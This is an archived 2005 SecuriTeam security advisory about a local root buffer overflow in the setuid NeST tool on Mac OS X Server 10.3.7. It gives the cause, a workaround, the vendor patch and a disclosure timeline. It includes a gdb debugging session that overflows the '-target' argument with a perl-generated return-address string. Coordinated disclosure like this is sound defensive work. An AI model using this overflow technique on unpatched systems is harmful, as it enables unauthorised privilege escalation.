

# [NEWS] Mac OS X Server NeST Buffer Overflow

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-05/0031.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 05/04/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 4 May 2005 19:25:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Mac OS X Server NeST Buffer Overflow

---

## SUMMARY

Mac OS X is an advanced operating system that blends features of UNIX with the ease-of-use of the Macintosh. NetInfo is "Darwin's built-in directory system. It stores administrative information in a hierarchical database of nodes called directories. NeST is the NetInfo Setup Tool".

A buffer overflow vulnerability in Mac OS X NeST will result in execution of arbitrary code with root privileges. The vulnerability itself is a stack overflow and is trivially exploitable.

## DETAILS

Vulnerable Systems:

\* Mac OS X Server version 10.3.7

NeST is the NetInfo Setup Tool for Mac OS X. The vulnerability specifically exists due to insufficient bounds checking on the argument passed to the '-target' command line parameter. Local attackers can supply an overly long value to overflow the buffer and execute arbitrary code.

Debugging Snips:

The following example debugger session shows execution control when

## Securiteam: [NEWS] Mac OS X Server NeST Buffer Overflow

overflowing the target buffer

```
osx-dev:~ $ gdb -q /usr/sbin/NeST
(gdb) run -target `perl -e 'print "\xbf\xff\xfe\xe4" x 800 `
```

```
Starting program: /usr/sbin/NeST -target `perl -e 'print
"\xbf\xff\xfe\xe4" x 800 `
```

```
Reading symbols for shared libraries ..... done
```

```
Password:
```

```
1976-04-01 08:29:04.480 NeST[3359] CFLog (0):
```

```
CFPropertyListCreateFromXMLData(): plist parse failed; the
data is not proper UTF-8. The file name for this data
could be:
```

```
Info.plist -- file://localhost/usr/sbin/
```

```
The parser will retry as in 10.2, but the problem should be
corrected in the plist.
```

```
Program received signal EXC_BAD_INSTRUCTION, Illegal
instruction/operand.
```

```
0xbffffee8 in ?? ()
```

```
(gdb) bt
```

```
#0 0xbffffee8 in ?? ()
```

```
#1 0xbffffee4 in ?? ()
```

Workaround:

Remove the setuid bit from the NeST binary until the vendor releases a patch.

Vendor Status:

The vendor has released a patch and address this issue at:

<<http://docs.info.apple.com/article.html?artnum=301528>>

<http://docs.info.apple.com/article.html?artnum=301528>

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0594>>

CAN-2005-0594

Disclosure Timeline:

02/28/2005 – Initial vendor notification and Initial vendor response

05/03/2005 – Coordinated public disclosure

### ADDITIONAL INFORMATION

The information has been provided by

<<mailto:idlabs-advisories@idefense.com>> idlabs.

The original article can be found at:

<<http://www.idefense.com/application/poi/display?id=239&type=vulnerability>>

<http://www.idefense.com/application/poi/display?id=239&type=vulnerability>

=====

Securiteam: [NEWS] Mac OS X Server NeST Buffer Overflow

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.